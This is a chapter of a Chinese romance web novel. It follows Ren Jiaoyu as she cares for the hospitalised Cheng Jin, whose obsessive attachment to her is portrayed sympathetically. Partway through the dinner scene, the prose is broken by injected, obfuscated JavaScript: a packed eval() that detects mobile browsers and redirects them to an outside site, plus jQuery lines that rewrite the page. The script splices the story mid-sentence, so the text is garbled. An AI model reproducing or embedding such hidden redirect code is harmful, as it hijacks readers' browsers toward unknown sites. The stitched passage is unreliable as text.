程烬不喜欢麻烦别人，受了这样重的伤后便一直将就着穿医院的病号服。医院的病号服都是循环使用，他身上这件都被洗得发白了。
趁着他睡着，任恔妤回了躺他家。
钥匙是偷偷拿的。
说了要负责，那就要好好照顾。
和上次来一样，程烬家里还是那么简单。
一张桌一张椅一张床。
打扫得很干净。
大概是一个来月没回家，家具上已经盖了层浅浅的灰。
任恔妤本想给秦瑶打个电话让她联系个阿姨过来打扫，手机开到一半，又打消了这个念头。
他应该不喜欢陌生人进来。
还是等他伤好出院再说。
程烬家里的摆置简单，任恔妤不用思考就知道衣服在哪。
柜子打开的时候像生涩了似的，吱吱呀呀。
她心里忽然一酸，他这些年过得什么日子啊。
衣柜不大，衣服叠得很整齐。
不是黑色就是白色，单调得不像正常人。
任恔妤收拾了几件衣服后，又给他收拾洗漱用具和日常用具。
不然一直用一次性像什么样子。
找东西的时候，她意外看到一个盒子。
书本那么大，粉色的，时间太长，有点褪色了。
隐隐约约她记起来，好像是他高三那年生日，她为了捉弄他假装给他一份礼物，但里面装的是一只玩具蛇。
她想吓唬吓唬他，看看这么个成天清清淡淡，沉默以对生活，好像什么都激不起来的人被吓到会是什么反应。
“愣着干嘛，打开看看啊。”
少女时期的任恔妤眼睛黑黑亮亮，一脸期冀地望着他。
程烬低垂着眼帘看这只很粉的盒子。
她惯常喜欢各种各样的暖色，连给他准备的生日礼物用的都是她自己喜欢的颜色。但没有关系，他很高兴，高兴她记得他的生日。
程烬拿过那只盒子，很小心地解开了十字礼结。
盒子打开的瞬间，一只黑色长尾蛇正直勾勾地盯着他，似乎还动了下，有种下一秒就要吐出信子溜出来咬他一口的感觉。
他眼睫飞快地动了下，合上了盖子。
“哈哈哈——”
任恔妤眼底的期待全部化作亮晶晶的笑，毫不犹豫地对着他释放出来，“哇塞，程烬，你居然真的被吓到了啊？”
她笑出了眼泪。
程烬才明白。
这不是什么生日礼物，是她的恶作剧。
她想要看他惊慌失措的样子。
程烬漆黑的瞳孔里倒映着她嚣张的样子。
他很安静地看着她。
她笑起来很好看，粉嫩的唇打开，露出雪白的牙齿，眼睛因为大笑而弯成了月牙，睫毛自来卷，随之轻颤。
任恔妤很少对他笑得这样明媚灿烂。
哪怕只是恶作剧，他也想多看一会。
“怎么回事啊？”
任恔妤总算笑完，轻轻喘着气息，“不就是一条蛇吗，就给你吓成这样，看不出来你胆子这么小嘛。”
她毫无顾忌地吐槽，然后要去打开盒盖。
一只温凉带着薄茧的手忽然握住了她手腕，皮肤接触间，有浅浅的热意弥散。
“危险。”
看他一本正经的样子，任恔妤嬉皮笑脸地拍掉他的手，“危险什么啊，就是条假蛇。”
她从里面拿出那只硅胶做的软体黑色长尾蛇，在他面前自得的抖了抖，“怎么样，是不是很逼真？”
说着忽然往前怼，几乎快怼到他脸上，“我刚就应该亲自拿着吓你，肯定更有意思。”
很生动很明媚的模样。
夕阳浅浅落在她身后，将她的头发映成橘色。
她在夕阳的光线里，像个入世的妖精。
“任恔妤。”
他很沉地叫她名字。
“干嘛？”
她蹙了下眉，有点不满，“你不会要对我生气吧？一个玩笑都开不起嘛？”
程烬深暗的视线锁住她。
他不是开不起玩笑，他是想……
“我想……”
任恔妤歪了歪脑袋，“想什么啊？”
阴暗的枷锁被挣开，他重新握住了她的手腕，像缠人的藤蔓去包裹她，再勒紧。
他好像有点无法控制自己了。
那些不正常的东西攻破了防线。
“怎么话说到一半就停了？”
任恔妤没什么耐心，“你要不说我就走了啊。”
程烬更紧地握住她。
呼吸沉而发重，“我想和你做。”
……
任恔妤眼睫颤了下，打开那个已经过了许多年的盒子。
里面没有那只长尾蛇。
皮筋、发夹、一撮红绳扎紧的简短黑发……
好几样东西，被齐整地摆放在盒子里。
他收集了与她有关的东西。
但是这个头发……他什么时候剪的？
*
程烬醒来的时候，天已经黑了。
病房里的灯没有开，透着阴暗孤寂的氛围，那个说要负责的人也没了影子。
他在昏暗里望着天花板。
很久很久。
周遭有种诡异的安静。
他知道的。
她说话从来都只是由着一腔情绪，那些承诺当不得真。
他知道的……
这样毫无理由毫无预兆地离开，她做得很熟练不是吗。
程烬陷入无边的寂冷。
像要融化在这片黑暗里。
他撑着身子，借着床边柜子助力，缓慢而艰难地从床上起来。起来时不小心打翻了桌上那些一次性用品，稀稀拉拉地散落一地。
程烬垂着眼帘看了一眼，孤寂地往门口走。
一步一步，很慢很慢。
却很坚定。
只是从这儿走到这条走廊的尽头，他已经出了一身冷汗，唇瓣很明显地发白，只是固执地看着窗口之下，来往汇聚的车流。
看璀璨的霓虹灯，看热闹的街市，看没有她的地方。
他站不了多久，身上的疼让他下意识想要摸口袋拿烟，碰到病号服才恍然自己在什么地方。
然后缓慢垂直地落下那只手。
“程烬！”
安静的走廊尽头里，忽然响起急切地呼喊声，还有匆促赶近的脚步声。
他没有马上回头，木然地看着远处，几秒后才缓缓转身。
任恔妤跑得气喘吁吁，脸都白了，眼睛里全都是担忧和紧张。
她手里还拿着一个袋子。
“我到处找你都找不到，你要吓死我吗！”
任恔妤又急又气，忍不住对他发脾气，“都伤成这样了不好好卧床休息，跑出来干什么？还吹风，你是嫌自己命长吗！”
程烬沉默地看着她，微凹的眼窝里，瞳孔深冷漆黑。
冰冷的走廊灯打在他脸上，惨白得像是马上就要死了。
任恔妤深呼吸了下，觉得自己刚刚的话有点刻薄了，他是个病人。
这会儿放软了语气，扶着他的手臂，“跟我回去，别在这儿吹风了。”
程烬双手还扶着窗框，视线像生锈的铁闸。
“你去哪了？”
任恔妤理所当然地回他：“都要说负责了，总不能还看着你就穿着病号服吧，正好你睡着，我就回你家——”
她话音突然一止。
然后。
有点惊讶地望着他，“你该不会以为我不声不响地跑了吧？你就这么不信任我吗，我都给你许下承诺了，肯定会做到的啊，本来给你收拾点东西很快就该回来的，被于涵叫回酒店了一趟，所以才回来晚了。”
程烬黑直的眼睫垂落着，在眼睑下方落下一点浅浅的阴影。
握着窗框的手一点一点收紧，收到不能再收的时候，才缓慢地卸了力道，笼罩他许久的寂冷没有消散反而加重了。
那样紧绷到极致又松懈的力量，任恔妤觉得有点熟悉。
好像在哪遇到过。
在哪儿呢……
她眼睫忽然轻颤了下，画面在脑子很清晰地浮现。
是她醉酒后被他带回家里的第二天早上，在临走之前给他买早餐回来的时候，他也是这样，黑沉沉的，看人密不透风一般。
然后很用力地握着她的手臂，有种骨头快碎了的疼。
心脏被刺了下。
任恔妤忽然有点心酸，她很轻声问他：“你是……在害怕吗？”
面对她的时候，他好像总是话很少。
习惯用情绪来表达。
程烬没有回答她，但目光幽沉。
在任恔妤看来，这与默认无异。
“这次我不会不声不响地丢下你。”
有什么在心口抓挠着，她眼睛黑黑亮亮，被灯光照得很漂亮，“真的。”
*
病房里，任恔妤把给他带来的东西一份一份地收纳规整。
程烬靠在病床上，很安静地看着她忙碌的身影。
快八点的时候，病房门被人敲响。
是餐厅的服务员送来的外卖。
两个人点了五个菜，有三个都是清淡的。
他有伤，不宜吃重口味的。
菜摆出来的时候，程烬低眸看着。
粉蒸排骨、水晶汤包、手撕鸡，还有两个素菜。
都是她喜欢吃的。
任恔妤把筷子递给他，自己就坐在床边，和他挤在这张小桌上。
“这些都是我特意给你点的，你都尝尝。”
程烬没拒绝，挨个夹了一筷子，除了手撕鸡没动。
他吃饭很斯文，看着就赏心悦目。
任恔妤眨巴了下眼，把手撕鸡推了过去，“你尝尝，他们家这个也是招牌菜，超好吃的。”
程烬声音淡淡：“这些够了。”
她轻微蹙眉，“很好吃的，真的不试试吗？”
“嗯。”
任恔妤一脸失落，夹了一筷子故作自己要吃。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223353|181621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然后在他没反应过来之前，迅速塞进了他嘴里，黑亮亮的眼睛狡黠着，很期待他的反馈，“你尝尝，不好吃你骂我。”
说完，她才发现用了自己筷子，这筷子她刚刚吃过……
她居然就这么塞他嘴里了……
任恔妤眼底闪过一抹不自然的色彩，迅速把筷子从他唇边抽离。
程烬看了她两秒，缓慢咀嚼。
“怎么样怎么样？”她直勾勾地盯着他，“很好吃对不对？”
程烬从小不爱吃鸡，但他什么都没说，嚼完了吞咽下去，低低地回了一声“嗯”。
她眼睛亮亮地笑起来，“这可是任恔妤严选，就不可能不好吃。”
程烬没再出声，很安静地吃饭。
她咬着筷子，有点犹豫。
“有话要说？”
“嗯……就是……我说了你不准生气啊。”
程烬停下来看她。
任恔妤墨迹了好一会，有点心虚，“你不是还得住个把月才能出院吗，但是我可能待不了这么长时间……”
她看着他漆黑的眼睛，立马打补丁，“我不是不愿意照顾你才去工作的，今天于涵叫我去酒店就是说的这个事儿，不能让节目组等我一个人。”
“什么时候走？”
“再过十来天吧，这是我能争取的最长时间了。”
“嗯。”
“还有个事儿，我感觉应该也得给你说一声。”
任恔妤很仔细地看他表情。
“什么？”
“我有个剧要播了，公司给我塞了个综艺，要……炒cp。”
程烬不怎么关注娱乐圈，也知道炒cp是什么意思。
他握着筷子的手微微收紧。
他不说话，任恔妤也不敢说。
过了很久，他低垂着眼帘看她，睫毛遮掩了一半瞳眸，“嗯。”
她肯跟他说这些，哪怕是必要的工作，已经足够。
他不能逼得太紧。
只要不去想这件事，他就能控制住自己的情绪。
任恔妤愣了下。
嗯……？
嗯是什么意思。
不在乎吗？
还是不知道炒cp是什么意思？
任恔妤忽然没了胃口。
她想起来之前一路狂奔回来，抓着他说要负责他的以后，如果他愿意，也可以是最亲密的关系。
他到底怎么定义的这个最亲密的关系？
但转眼，她又觉得他这样的反应也挺好的。
那是工作，总不能任性妄为。
要是他占有欲发作，不愿意，她也是不高兴的。
心绪乱糟糟的。
等程烬吃完，她收拾了残局。
然后给他倒了水，把所有东西都弄好了才说：“我回去了，明天再来看你。”
程烬很淡地应她。
任恔妤心里闷闷的，但又说不上来。
临走前，她回头看了眼程烬，他靠着床头，在专注地处理工作上的事，对她要走这事儿好像没什么反应。
回了酒店。
任恔妤打算早点睡，结果到了十二点还是睡不着。
她居然失眠了。
摸出手机，她找到程烬的微信。
白天刚加的。
程烬的微信头像是一片空白，微信名是个大写的Ｃ。
朋友圈里除了必要的工作上的内容，什么都没有，更别说私人生活了。
真是浪费了这样一张脸。
任恔妤在对话框里来来回回打字又删除，最后发了一句：【你睡了吗？】
发完过了几秒又发了小猫眨眼的表情包。
过了一会，那边有了动静。
【没睡。】
任恔妤干脆给他弹了个视频电话。
屏幕里映出那张脸的时候，她有一瞬间的心跳过载。
这还是他们第一次打视频。
莫名有点像小情侣。
“我睡不着……”
她头发散落在枕头上，声音娇气，“你给我讲个睡前故事好不好？”
程烬思索了会儿，开始给她讲。
他虽然面色清冷，但声音低磁好听，鼓动着耳膜。
这个故事有点长，以至于任恔妤还没听到结尾就犯困了。
她侧睡着，微卷的眼睫阖着，嘴巴浅浅张着。
程烬停下来，隔着屏幕静默地望着她。
视线很深很沉。
将她一寸一寸锁紧。
任恔妤的意识还没完全沉睡，带着点睡梦中的呓语问：“程烬……”
“你为什么……不待在Ｈ市啊……”
程烬看了她许久，嘴唇抿成一条直线。
清冷冷的。
为什么。
因为他无处容身。
好像四处都有她的影子，一遍一遍地折磨他。
只要他待着，就会在夜里一次又一次地发疯，无法自控。
快要。
丧失全部的理智。